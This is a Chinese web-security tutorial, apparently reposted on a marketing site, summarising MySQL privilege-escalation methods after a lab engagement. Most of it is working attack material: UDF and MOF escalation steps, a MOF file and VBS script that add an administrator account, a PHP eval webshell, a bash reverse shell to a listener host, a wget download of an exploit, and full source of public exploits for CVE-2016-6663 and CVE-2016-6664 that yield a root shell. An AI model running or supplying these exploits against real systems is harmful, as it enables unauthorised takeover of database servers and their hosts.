時(shí)間：2023-06-30 16:24:02 | 來源：網(wǎng)站運(yùn)營
時(shí)間：2023-06-30 16:24:02 來源：網(wǎng)站運(yùn)營
web安全：mysql提權(quán)總結(jié)篇：
在線咨詢
/tmp這個(gè)目錄能夠修改權(quán)限，改為777權(quán)限后使用的代理。因?yàn)閘inux打得比較少，我們隊(duì)在這個(gè)地方卡了很久，導(dǎo)致只打到了第一層網(wǎng)絡(luò)，第二層內(nèi)網(wǎng)就沒有時(shí)間去打，所以補(bǔ)一下關(guān)于mysql的提權(quán)知識。1.知道數(shù)據(jù)庫的用戶和密碼；關(guān)于第一點(diǎn)就不用多說了，可以通過拿到webshell之后翻閱文件得到，對于不同情況下有不同得獲取方式，這里不再贅述；主要提一下第二三點(diǎn)。
2.mysql可以遠(yuǎn)程登錄；
3.mysql有寫入文件的權(quán)限，即secure_file_priv的值為空。
/etc/mysql/my.conf文件，對應(yīng)的設(shè)置為bind-address = 127.0.0.1這一行，這是默認(rèn)情況下的設(shè)置，如果我們要允許在任何主機(jī)上面都能夠遠(yuǎn)程登錄mysql的話，就只要把bind-address改成0.0.0.0即可，即bind-address = 0.0.0.0admin/123456用戶，使用%來允許任意ip登錄mysql，這樣我們就能夠通過navicat使用admin/123456用戶遠(yuǎn)程連接到數(shù)據(jù)庫grant all on *.* to admin@'%' identified by '123456' with grant option;flush privileges;關(guān)于第三點(diǎn)的secure_file_priv參數(shù)，這里有三個(gè)值，分別為NULL、/tmp、空，NULL顧名思義即不允許導(dǎo)入或?qū)С觥?br>/tmp的意思是只能在/tmp目錄下寫入文件，這種情況下就需要考慮寫入文件到文件夾后能否在網(wǎng)頁上、訪問連接到這個(gè)目錄，如果這個(gè)值為空，那么就可以通過構(gòu)造sql語句向mysql數(shù)據(jù)庫下的任何目錄寫入文件。secure_file_priv這個(gè)值是默認(rèn)為空的，那么我們拿到的webshell如果對應(yīng)的mysql數(shù)據(jù)庫版本在5.5以下的話操作起來就比較方便，在mysql5.5版本之后secure_file_priv這個(gè)值是默認(rèn)為NULL的，即不能夠往數(shù)據(jù)庫內(nèi)寫入文件。為了感謝廣大讀者伙伴的支持，準(zhǔn)備了以下福利給到大家： 【一>所有資源獲取<一】 1、200多本網(wǎng)絡(luò)安全系列電子書（該有的都有了） 2、全套工具包（最全中文版，想用哪個(gè)用哪個(gè)） 3、100份src源碼技術(shù)文檔（項(xiàng)目學(xué)習(xí)不停，實(shí)踐得真知） 4、網(wǎng)絡(luò)安全基礎(chǔ)入門、Linux、web安全、攻防方面的視頻（2021最新版） 5、網(wǎng)絡(luò)安全學(xué)習(xí)路線（告別不入流的學(xué)習(xí)） 6、ctf奪旗賽解析（題目解析實(shí)戰(zhàn)操作）
mysql -u root -p進(jìn)入mysql.dll，在linnux環(huán)境下后綴名為.so.dll或.so文件在哪里去找呢？這兩個(gè)文件在sqlmap和msf里面都有內(nèi)置udf/mysql，這里進(jìn)入目錄后可以看到sqlmap已經(jīng)幫我們分好類了.so_或dll_的話，就需要解碼，如果后綴名為.so或.dll的話就不需要解碼即可直接使用。這里sqlmap也自帶了解碼的py腳本，在/extra/cloak目錄下，使用cloak.py解密即可。python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dllpython2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll/usr/share/metasploit-framework/data/exploits/mysql/show variables like "%plugin%";這里可以看到我的插件目錄就是C:/Program Files/MySQL/MySQL Server 5.5/lib/pluginselect @@basedir查看一下MySQL安裝的位置MySQL/lib文件夾下，這里可以看到是沒有plugin這個(gè)文件夾的，所以這里需要我們先創(chuàng)建一個(gè)文件夾plugin文件夾!lib_mysqludf_sys_64.dll放到plugin文件夾下!udf.dll，但是這里報(bào)錯(cuò)ERROR 1126，這里我百度過后發(fā)現(xiàn)這個(gè)dll并不是跟系統(tǒng)位數(shù)有關(guān)的，而是跟mysql版本有關(guān)系，而且phpstudy自帶的mysql版本需要用32位的dll才能夠操作CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';plugin文件夾內(nèi)sys_eval函數(shù)select * from mysql.func;my.ini文件設(shè)置bind-address = 0.0.0.0? admin/123456用戶允許外連udf.dll到plugin文件夾下，這里可以看到dump dll成功bind-address = 0.0.0.0這行注釋掉之后進(jìn)行試驗(yàn)，因?yàn)椴辉试S外連，那么只有本地連接數(shù)據(jù)庫，這時(shí)候很容易想到正向連接我們代理進(jìn)去連接數(shù)據(jù)庫。這里使用reg、ew都可以，但是這里因?yàn)槭莔ysql的原因，使用navicat自帶的tunnel腳本會(huì)更加方便。nutunnel_mysql.php到靶機(jī)上、訪問，這里看到已經(jīng)連接成功了xp、server20032.對C:/Windows/System32/wbem/MOF目錄有讀寫權(quán)限3.可以找到一個(gè)可寫目錄，寫入mof文件### 手動(dòng)提權(quán)testmod.mod文件并上傳到靶機(jī)的可寫目錄#pragma namespace("////.//root//subscription") ?instance of __EventFilter as $EventFilter { EventNamespace = "Root//Cimv2"; Name= "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa /"Win32_LocalTime/" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; ?instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(/"WScript.Shell/")/nWSH.run(/"net.exe user test test123 /add/")/nWSH.run(/"net.exe localgroup administrators test /add/")"; }; ?instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };進(jìn)入mysql命令行執(zhí)行導(dǎo)入命令，導(dǎo)入完成過后系統(tǒng)會(huì)自動(dòng)運(yùn)行select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"使用net user命令即可發(fā)現(xiàn)已經(jīng)加入了管理員組use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun# 停止 winmgmt 服務(wù)net stop winmgmt# 刪除 Repository 文件夾rmdir /s /q C:/Windows/system32/wbem/Repository/# 手動(dòng)刪除 mof 文件del C:/Windows/system32/wbem/mof/good/test.mof /F /S# 刪除創(chuàng)建的用戶net user hacker /delete# 重新啟動(dòng)服務(wù)net start winmgmtC:/Documents and Settings/Administrator/「開始」菜單/程序/啟動(dòng)C:/Documents and Settings/All Users/「開始」菜單/程序/啟動(dòng)在windows2008的系統(tǒng)下，啟動(dòng)項(xiàng)路徑如下：C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/StartupC:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startuptest.vbs添加用戶密碼，上傳到啟動(dòng)目錄重啟的時(shí)候即可自動(dòng)添加賬號密碼set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * from a into outfile “C:/Documents and Settings/All Users/「開始」菜單/程序/啟動(dòng)/secist.vbs”;1.已經(jīng)getshell，獲得www-data權(quán)限CVE-2016-6664
2.獲取到一個(gè)擁有create,drop,insert,select權(quán)限的數(shù)據(jù)庫賬號，密碼
3.提權(quán)過程需要在交互式的shell環(huán)境中運(yùn)行，所以需要反彈shell再提權(quán)
4.Mysql<5.5.51或<5.6.32或<5.7.14
1.目標(biāo)主機(jī)配置必須是是基于文件的日志(默認(rèn)配置)，也就是不能是syslog方式（通過cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看沒有包含“syslog”字樣即可）
2.需要在mysql權(quán)限下運(yùn)行才能利用
3.Mysql<5.5.51或<5.6.32或<5.7.14
docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bashapt updateapt install -y wget gcc libmysqlclient-dev' '進(jìn)行轉(zhuǎn)義，否則會(huì)報(bào)錯(cuò)cd /var/htmlecho '<?php @eval($_POST['hacker']); ?>' > shell.phpchmod -R 777 /var/www/html進(jìn)入mysql環(huán)境添加一個(gè)對test庫有create,drop,insert,select權(quán)限的test用戶，密碼為123456service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lampmysql-privesc-race.c，exp如下所示#include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH"/tmp/mysql_privesc_exploit"#define EXP_DIRN"mysql_privesc_exploit"#define MYSQL_TAB_FILEEXP_PATH "/exploit_table.MYD"#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"#define MAX_DELAY 1000// can be used in the race to adjust the timing if necessaryMYSQL *conn; // DB handlesMYSQL_RES *res;MYSQL_ROW row;unsigned long cnt;void intro() {printf( "/033[94m/n""MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit/n""mysql-privesc-race.c (ver. 1.0)/n/n""CVE-2016-6663 / CVE-2016-5616/n/n""For testing purposes only. Do no harm./n/n""Discovered/Coded by:/n/n""Dawid Golunski /n""http://legalhackers.com""/033[0m/n/n");}void usage(char *argv0) {intro();printf("Usage:/n/n%s user pass db_host database/n/n", argv0);}void mysql_cmd(char *sql_cmd, int silent) {if (!silent) {printf("%s /n", sql_cmd);}if (mysql_query(conn, sql_cmd)) {fprintf(stderr, "%s/n", mysql_error(conn));exit(1);}res = mysql_store_result(conn);if (res>0) mysql_free_result(res);}int main(int argc,char **argv){int randomnum = 0;int io_notified = 0;int myd_handle;int wpid;int is_shell_suid=0;pid_t pid;int status;struct stat st;/* io notify */int fd;int ret;char buf[4096] __attribute__((aligned(8)));int num_read;struct inotify_event *event;/* credentials */char *user = argv[1];char *password = argv[2];char *db_host= argv[3];char *database = argv[4];// Disable buffering of stdoutsetvbuf(stdout, NULL, _IONBF, 0);// Get the paramsif (argc!=5) {usage(argv[0]);exit(1);} intro();// Show initial privilegesprintf("/n[+] Starting the exploit as: /n");system("id");// Connect to the database server with provided credentialsprintf("/n[+] Connecting to the database `%s` as %s@%s/n", database, user, db_host);conn = mysql_init(NULL);if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {fprintf(stderr, "%s/n", mysql_error(conn));exit(1);}// Prepare tmp dirprintf("/n[+] Creating exploit temp directory %s/n", "/tmp/" EXP_DIRN);umask(000);system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);system("chmod g+s /tmp/" EXP_DIRN );// Prepare exploit tables :)printf("/n[+] Creating mysql tables /n/n");mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file// The file should be owned by mysql:attacker thanks to the sticky bit on the table directoryprintf("/n[+] Copying bash into the mysql_suid_shell table./nAfter the exploitation the following file/table will be assigned SUID and executable bits : /n");system("cp /bin/bash " SUID_SHELL);system("ls -l " SUID_SHELL);// Use inotify to get the timing rightfd = inotify_init();if (fd < 0) {printf("failed to inotify_init/n");return -1;}ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */printf("/n[+] Entering the race loop... Hang in there.../n");while ( is_shell_suid != 1 ) {cnt++;if ( (cnt % 100) == 0 ) {printf("->");//fflush(stdout); }/* Create empty file , remove if already exists */unlink(MYSQL_TEMP_FILE);unlink(MYSQL_TAB_FILE);mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);/* random num if needed */srand ( time(NULL) );randomnum = ( rand() % MAX_DELAY );// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlinkpid = fork();if (pid < 0) {fprintf(stderr, "Fork failed :(/n");}/* Child process - executes REPAIR TABLESQL statement */if (pid == 0) {usleep(500);unlink(MYSQL_TEMP_FILE);mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);// child stops hereexit(0);}/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */if (pid > 0 ) {io_notified = 0;while (1) {int processed = 0;ret = read(fd, buf, sizeof(buf));if (ret < 0) {break;}while (processed < ret) {event = (struct inotify_event *)(buf + processed);if (event->mask & IN_CLOSE) {if (!strcmp(event->name, "exploit_table.TMD")) {//usleep(randomnum);// Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE);myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);close(myd_handle);chmod(MYSQL_TAB_FILE, 04777);// Replace the temp .TMD file with a symlink to the target sh binary to get suid+execunlink(MYSQL_TEMP_FILE);symlink(SUID_SHELL, MYSQL_TEMP_FILE);io_notified=1;}}processed += sizeof(struct inotify_event);}if (io_notified) {break;}}waitpid(pid, &status, 0);}// Check if SUID bit was set at the end of this attemptif ( lstat(SUID_SHELL, &st) == 0 ) {if (st.st_mode & S_ISUID) {is_shell_suid = 1;}} }printf("/n/n[+] /033[94mBingo! Race won (took %lu tries) !/033[0m Check out the /033[94mmysql SUID shell/033[0m: /n/n", cnt);system("ls -l " SUID_SHELL);printf("/n[+] Spawning the /033[94mmysql SUID shell/033[0m now... /nRemember that from there you can gain /033[1;31mroot/033[0m with vuln /033[1;31mCVE-2016-6662/033[0m or /033[1;31mCVE-2016-6664/033[0m :)/n/n");system(SUID_SHELL " -p -i ");//system(SUID_SHELL " -p -c '/bin/bash -i -p'");/* close MySQL connection and exit */printf("/n[+] Job done. Exiting/n/n");mysql_close(conn);return 0;}nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost testvi /etc/mysql/conf.d/mysqld_safe_syslog.cnf刪除掉syslog，然后重啟mysql#<img src="https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates on this advisory.## This PoC exploit allows attackers to (instantly) escalate their privileges# from mysql system account to root through unsafe error log handling.# The exploit requires that file-based logging has been configured (default).# To confirm that syslog logging has not been enabled instead use:# grep -r syslog /etc/mysql# which should return no results.## This exploit can be chained with the following vulnerability:# CVE-2016-6663 / OCVE-2016-5616# which allows attackers to gain access to mysql system account (mysql shell).## In case database server has been configured with syslog you may also use:# CVE-2016-6662 as an alternative to this exploit.## Usage:# ./mysql-chowned.sh path_to_error.log ### See the full advisory for details at:# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html## Video PoC:# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/mysqlrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"function cleanexit {# Cleanup echo -e "/n[+] Cleaning up..."rm -f $PRIVESCSRCrm -f $PRIVESCLIBrm -f $ERRORLOGtouch $ERRORLOGif [ -f /etc/ld.so.preload ]; thenecho -n > /etc/ld.so.preloadfiecho -e "/n[+] Job done. Exiting with code $1 /n"exit $1}function ctrl_c() {echo -e "/n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."cleanexit 0}#intro echo -e "/033[94m /nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit /nmysql-chowned.sh (ver. 1.0)/n/nCVE-2016-6664 / OCVE-2016-5617/n"echo -e "Discovered and coded by: /n/nDawid Golunski /nhttp://legalhackers.com /033[0m"# Argsif [ $# -lt 1 ]; thenecho -e "/n[!] Exploit usage: /n/n$0 path_to_error.log /n"echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`/n"exit 3fi# Priv checkecho -e "/n[+] Starting the exploit as /n/033[94m`id`/033[0m"id | grep -q mysql if [ $? -ne 0 ]; thenecho -e "/n[!] You need to execute the exploit as mysql user! Exiting./n"exit 3fi# Set target pathsERRORLOG="$1"if [ ! -f $ERRORLOG ]; thenecho -e "/n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again./n"exit 3fiecho -e "/n[+] Target MySQL log file set to $ERRORLOG"# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho -e "/n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>uid_t geteuid(void) {static uid_t(*old_geteuid)();old_geteuid = dlsym(RTLD_NEXT, "geteuid");if ( old_geteuid() == 0 ) {chown("$BACKDOORPATH", 0, 0);chmod("$BACKDOORPATH", 04777);//unlink("/etc/ld.so.preload");}return old_geteuid();}_solibeof_/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"if [ $? -ne 0 ]; thenecho -e "/n[!] Failed to compile the privesc lib $PRIVESCSRC."cleanexit 2;fi# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "/n[+] Backdoor/low-priv shell installed at: /n`ls -l $BACKDOORPATH`"# Safety checkif [ -f /etc/ld.so.preload ]; thenecho -e "/n[!] /etc/ld.so.preload already exists. Exiting for safety."exit 2fi# Symlink the log file to /etcrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOGif [ $? -ne 0 ]; thenecho -e "/n[!] Couldn't remove the $ERRORLOG file or create a symlink."cleanexit 3fiecho -e "/n[+] Symlink created at: /n`ls -l $ERRORLOG`"# Wait for MySQL to re-open the logsecho -ne "/n[+] Waiting for MySQL to re-open the logs/MySQL service restart.../n"read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWERif [ "$THE_ANSWER" = "y" ]; thenecho -e "Got it. Executing 'killall mysqld' now..."killall mysqldfiwhile :; do sleep 0.1if [ -f /etc/ld.so.preload ]; thenecho $PRIVESCLIB > /etc/ld.so.preloadrm -f $ERRORLOGbreak;fidone# /etc/dir should be owned by mysql user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "/n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: /n`ls -l /etc/ld.so.preload`"echo -e "/n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "/n[+] The /etc/ld.so.preload file now contains: /n`cat /etc/ld.so.preload`"chmod 755 /etc/ld.so.preload# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "/n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo 2>/dev/null >/dev/null#while :; do #sleep 0.1#ps aux | grep mysqld | grep -q 'log-error'#if [ $? -eq 0 ]; then#break;#fi#done# Check for the rootshellls -l $BACKDOORPATHls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "/n[+] Rootshell got assigned root SUID perms at: /n`ls -l $BACKDOORPATH`"echo -e "/n/033[94mGot root! The database server has been ch-OWNED !/033[0m"elseecho -e "/n[!] Failed to get root"cleanexit 2fi# Execute the rootshellecho -e "/n[+] Spawning the rootshell $BACKDOORPATH now! /n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p# Job done.cleanexit 0" style="margin: auto" />在剛才mysql權(quán)限的shell中下載提權(quán)腳本并執(zhí)行，即可得到root權(quán)限wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log關(guān)鍵詞：總結(jié),安全
客戶&案例
營銷資訊
關(guān)于我們
微信公眾號
版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。
